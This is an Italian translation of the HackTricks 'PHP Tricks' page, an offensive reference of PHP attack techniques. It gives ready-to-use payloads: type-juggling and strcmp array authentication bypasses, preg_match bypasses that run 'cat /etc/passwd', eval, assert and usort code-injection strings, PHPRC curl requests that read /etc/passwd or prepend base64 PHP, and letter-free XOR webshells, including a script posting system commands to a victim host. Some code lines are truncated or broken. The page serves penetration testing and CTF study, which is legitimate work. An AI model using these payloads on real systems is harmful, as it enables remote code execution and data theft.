PHP Tricks

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Posizione comune dei Cookies:

Questo è valido anche per i cookies di phpMyAdmin.

Cookies:

PHPSESSID
phpMyAdmin

Luoghi:

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

Eludere le comparazioni in PHP

Comparazioni deboli/Type Juggling ( == )

Se viene utilizzato == in PHP, ci sono casi inaspettati in cui il confronto non si comporta come previsto. Questo perché "==" confronta solo i valori trasformati nello stesso tipo, se si desidera anche confrontare che il tipo dei dati confrontati sia lo stesso è necessario utilizzare ===.

Tabelle di confronto PHP: https://www.php.net/manual/en/types.comparisons.php

  • "string" == 0 -> True Una stringa che non inizia con un numero è uguale a un numero

  • "0xAAAA" == "43690" -> True Stringhe composte da numeri in formato decimale o esadecimale possono essere confrontate con altri numeri/stringhe con True come risultato se i numeri erano gli stessi (i numeri in una stringa vengono interpretati come numeri)

  • "0e3264578" == 0 --> True Una stringa che inizia con "0e" e seguita da qualsiasi cosa sarà uguale a 0

  • "0X3264578" == 0X --> True Una stringa che inizia con "0" e seguita da qualsiasi lettera (X può essere qualsiasi lettera) e seguita da qualsiasi cosa sarà uguale a 0

  • "0e12334" == "0" --> True Questo è molto interessante perché in alcuni casi è possibile controllare l'input della stringa "0" e alcuni contenuti che vengono hashati e confrontati con esso. Pertanto, se è possibile fornire un valore che creerà un hash che inizia con "0e" e senza alcuna lettera, è possibile eludere il confronto. È possibile trovare stringhe già hashate con questo formato qui: https://github.com/spaze/hashes

  • "X" == 0 --> True Qualsiasi lettera in una stringa è uguale a 0 come intero

Ulteriori informazioni su https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

in_array()

Type Juggling influisce anche sulla funzione in_array() per impostazione predefinita (è necessario impostare a true il terzo argomento per effettuare un confronto rigoroso):

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

Se questa funzione viene utilizzata per qualsiasi controllo di autenticazione (come il controllo della password) e l'utente controlla uno dei lati del confronto, può inviare un array vuoto invece di una stringa come valore della password (https://example.com/login.php/?username=admin&password[]=) e aggirare questo controllo:

if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

Già si verifica lo stesso errore con strcasecmp()

Tipizzazione rigorosa

Anche se viene utilizzato ===, potrebbero verificarsi errori che rendono il confronto vulnerabile al type juggling. Ad esempio, se il confronto sta convertendo i dati in un tipo di oggetto diverso prima di confrontarli:

(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

preg_match() potrebbe essere utilizzato per validare l'input dell'utente (controlla se c'è una parola/espressione regolare da una lista nera presente nell'input dell'utente e se non c'è, il codice può continuare la sua esecuzione).

Bypass della nuova riga

Tuttavia, quando si delimita l'inizio dell'espressione regolare, preg_match() controlla solo la prima riga dell'input dell'utente, quindi se in qualche modo riesci a inviare l'input in più righe, potresti essere in grado di aggirare questo controllo. Esempio:

$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

Per aggirare questo controllo potresti inviare il valore con new-lines urlencoded (%0A) oppure, se puoi inviare dati JSON, inviali in più righe:

{
"cmd": "cat /etc/passwd"
}

Trova un esempio qui: https://ramadistra.dev/fbctf-2019-rceservice

Bypass errore di lunghezza

(Questo bypass è stato provato apparentemente su PHP 5.2.5 e non sono riuscito a farlo funzionare su PHP 7.3.15) Se riesci a inviare a preg_match() un input molto grande e valido, non sarà in grado di elaborarlo e sarai in grado di bypassare il controllo. Ad esempio, se sta mettendo in blacklist un JSON potresti inviare:

payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'

Bypass ReDoS

Trucco da: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 e https://mizu.re/post/pong

In breve, il problema si verifica perché le funzioni preg_* in PHP si basano sulla libreria PCRE. In PCRE alcune espressioni regolari vengono abbinate utilizzando molte chiamate ricorsive, che utilizzano molto spazio di stack. È possibile impostare un limite sul numero di ricorsioni consentite, ma in PHP questo limite predefinito è di 100.000 che è più grande dello spazio di stack disponibile.

Questo thread di Stackoverflow è stato anche collegato nel post dove si parla più approfonditamente di questo problema. Il nostro compito era ora chiaro: Inviare un input che avrebbe fatto eseguire più di 100.000 ricorsioni alla regex, causando SIGSEGV, facendo sì che la funzione preg_match() restituisse false, facendo così credere all'applicazione che il nostro input non è dannoso, lanciando alla fine del payload una sorpresa come {system(<comandomoltocattivo>)} per ottenere SSTI --> RCE --> bandiera :).

Beh, in termini di regex, in realtà non stiamo facendo 100k "ricorsioni", ma stiamo contando "passaggi di backtracking", che come la documentazione di PHP afferma che predefinito è di 1.000.000 (1M) nella variabile pcre.backtrack_limit. Per raggiungere questo, 'X'*500_001 produrrà 1 milione di passaggi di backtracking (500k in avanti e 500k all'indietro):

payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

Tipizzazione debole per l'offuscamento PHP

$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

Esegui Dopo il Reindirizzamento (EAR)

Se PHP sta reindirizzando a un'altra pagina ma nessuna funzione die o exit viene chiamata dopo che l'intestazione Location è impostata, il PHP continua ad eseguire e ad aggiungere i dati al corpo:

<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

Sfruttamento della Traversata di Percorso e Inclusione di File

Controlla:

pageFile Inclusion/Path traversal

Altri trucchi

  • register_globals: In PHP < 4.1.1.1 o se configurato in modo errato, register_globals potrebbe essere attivo (o il loro comportamento viene emulato). Ciò implica che nelle variabili globali come $_GET se hanno un valore ad es. $_GET["param"]="1234", è possibile accedervi tramite $param. Pertanto, inviando parametri HTTP è possibile sovrascrivere le variabili utilizzate nel codice.

  • I cookie PHPSESSION dello stesso dominio sono memorizzati nello stesso posto, quindi se all'interno di un dominio vengono utilizzati cookie diversi in percorsi diversi è possibile fare in modo che un percorso acceda al cookie del percorso impostando il valore dell'altro cookie del percorso. In questo modo, se entrambi i percorsi accedono a una variabile con lo stesso nome è possibile fare in modo che il valore di quella variabile in path1 si applichi a path2. E quindi path2 considererà valide le variabili di path1 (dando al cookie il nome corrispondente in path2).

  • Quando si hanno gli username degli utenti della macchina. Controllare l'indirizzo: /~<USERNAME> per vedere se le directory php sono attivate.

password_hash/password_verify

Queste funzioni vengono tipicamente utilizzate in PHP per generare hash da password e per verificare se una password è corretta rispetto a un hash. Gli algoritmi supportati sono: PASSWORD_DEFAULT e PASSWORD_BCRYPT (inizia con $2y$). Notare che PASSWORD_DEFAULT è spesso lo stesso di PASSWORD_BCRYPT. E attualmente, PASSWORD_BCRYPT ha un limite di dimensione in input di 72 byte. Pertanto, quando si cerca di fare l'hash di qualcosa di più grande di 72 byte con questo algoritmo, verranno utilizzati solo i primi 72 byte:

$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

Bypass degli header HTTP sfruttando gli errori di PHP

Se una pagina PHP stampa errori ed eco di alcuni input forniti dall'utente, l'utente può far sì che il server PHP stampi del contenuto abbastanza lungo in modo che quando cerca di aggiungere gli header alla risposta il server generi un errore. Nello scenario seguente, l'attaccante ha fatto sì che il server generasse alcuni errori consistenti, e come si può vedere nello screenshot, quando PHP ha provato a modificare le informazioni degli header, non è riuscito (quindi ad esempio l'header CSP non è stato inviato all'utente):

Esecuzione del codice

system("ls"); `ls`; shell_exec("ls");

Controlla qui per ulteriori funzioni utili di PHP

RCE tramite preg_replace()

preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

Per eseguire il codice nell'argomento "replace" è necessario almeno una corrispondenza. Questa opzione di preg_replace è stata deprecata a partire da PHP 5.5.0.

RCE tramite Eval()

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

RCE tramite Assert()

Questa funzione all'interno di php ti permette di eseguire codice scritto in una stringa per restituire true o false (e in base a questo alterare l'esecuzione). Di solito la variabile dell'utente verrà inserita nel mezzo di una stringa. Per esempio: assert("strpos($_GET['page']),'..') === false") --> In questo caso per ottenere RCE potresti fare:

?page=a','NeVeR') === false and system('ls') and strpos('a

Avrai bisogno di rompere la sintassi del codice, aggiungere il tuo payload, e poi ripararlo di nuovo. Puoi utilizzare operazioni logiche come "and" o "%26%26" o "|". Nota che "or", "||" non funzionano perché se la prima condizione è vera il nostro payload non verrà eseguito. Allo stesso modo ";" non funziona poiché il nostro payload non verrà eseguito.

Un'altra opzione è aggiungere all'interno della stringa l'esecuzione del comando: '.highlight_file('.passwd').'

Un'altra opzione (se hai il codice interno) è modificare qualche variabile per alterare l'esecuzione: $file = "hola"

RCE tramite usort()

Questa funzione viene utilizzata per ordinare un array di elementi utilizzando una funzione specifica. Per abusare di questa funzione:

<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

Puoi anche utilizzare // per commentare il resto del codice.

Per scoprire il numero di parentesi che devi chiudere:

  • ?order=id;}//: otteniamo un messaggio di errore (Errore di analisi: errore di sintassi, ';' imprevisto). Probabilmente ci manca una o più parentesi.

  • ?order=id);}//: otteniamo un avviso. Questo sembra corretto.

  • ?order=id));}//: otteniamo un messaggio di errore (Errore di analisi: errore di sintassi, ')' imprevisto). Probabilmente abbiamo troppi parentesi di chiusura.

RCE tramite .httaccess

Se puoi caricare un .htaccess, allora puoi configurare diverse cose e persino eseguire codice (configurando che i file con estensione .htaccess possono essere eseguiti).

È possibile trovare diverse shell .htaccess qui

RCE tramite Variabili d'Ambiente

Se trovi una vulnerabilità che ti permette di modificare le variabili d'ambiente in PHP (e un'altra per caricare file, anche se con ulteriori ricerche potrebbe essere aggirata), potresti sfruttare questo comportamento per ottenere RCE.

  • LD_PRELOAD: Questa variabile d'ambiente consente di caricare librerie arbitrarie durante l'esecuzione di altri binari (anche se in questo caso potrebbe non funzionare).

  • PHPRC : Istruisce PHP su dove individuare il suo file di configurazione, di solito chiamato php.ini. Se puoi caricare il tuo file di configurazione, allora usa PHPRC per puntare PHP su di esso. Aggiungi una voce auto_prepend_file specificando un secondo file caricato. Questo secondo file contiene del codice PHP normale, che viene quindi eseguito dal runtime di PHP prima di qualsiasi altro codice.

  1. Carica un file PHP contenente il nostro codice shell

  2. Carica un secondo file, contenente una direttiva auto_prepend_file istruendo il preprocessore PHP ad eseguire il file che abbiamo caricato al passo 1

  3. Imposta la variabile PHPRC sul file che abbiamo caricato al passo 2.

  • Ottieni ulteriori informazioni su come eseguire questa catena dal report originale.

  • PHPRC - un'altra opzione

  • Se non puoi caricare file, potresti utilizzare in FreeBSD il "file" /dev/fd/0 che contiene lo stdin, essendo il corpo della richiesta inviata allo stdin:

  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'

  • Oppure per ottenere RCE, abilita allow_url_include e anteporre un file con codice PHP in base64:

  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'

Analisi Statica di PHP

Verifica se puoi inserire codice nelle chiamate a queste funzioni (da qui):

exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

Se stai eseguendo il debug di un'applicazione PHP, puoi abilitare globalmente la stampa degli errori in /etc/php5/apache2/php.ini aggiungendo display_errors = On e riavviare apache: sudo systemctl restart apache2

Deobfuscating PHP code

Puoi utilizzare il web www.unphp.net per deobfuscate il codice PHP.

PHP Wrappers & Protocols

I wrapper e i protocolli PHP potrebbero consentirti di bypassare le protezioni di scrittura e lettura in un sistema e comprometterlo. Per ulteriori informazioni controlla questa pagina.

Xdebug unauthenticated RCE

Se noti che Xdebug è abilitato in un output di phpconfig(), dovresti provare a ottenere RCE tramite https://github.com/nqxcode/xdebug-exploit

Variable variables

$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

RCE sfruttando il nuovo $_GET["a"]($_GET["b"])

Se in una pagina puoi creare un nuovo oggetto di una classe arbitraria potresti essere in grado di ottenere RCE, controlla la seguente pagina per imparare come:

pagePHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

Eseguire PHP senza lettere

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

Utilizzando ottale

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

Codice shell XOR semplice

Secondo questo articolo, è possibile generare un codice shell semplice in questo modo:

$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

Quindi, se puoi eseguire PHP arbitrario senza numeri e lettere puoi inviare una richiesta come la seguente abusando di quel payload per eseguire PHP arbitrario:

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

Per una spiegazione più approfondita controlla https://ctf-wiki.org/web/php/php/#preg_match

XOR Shellcode (all'interno di eval)

#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

Simile a Perl

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated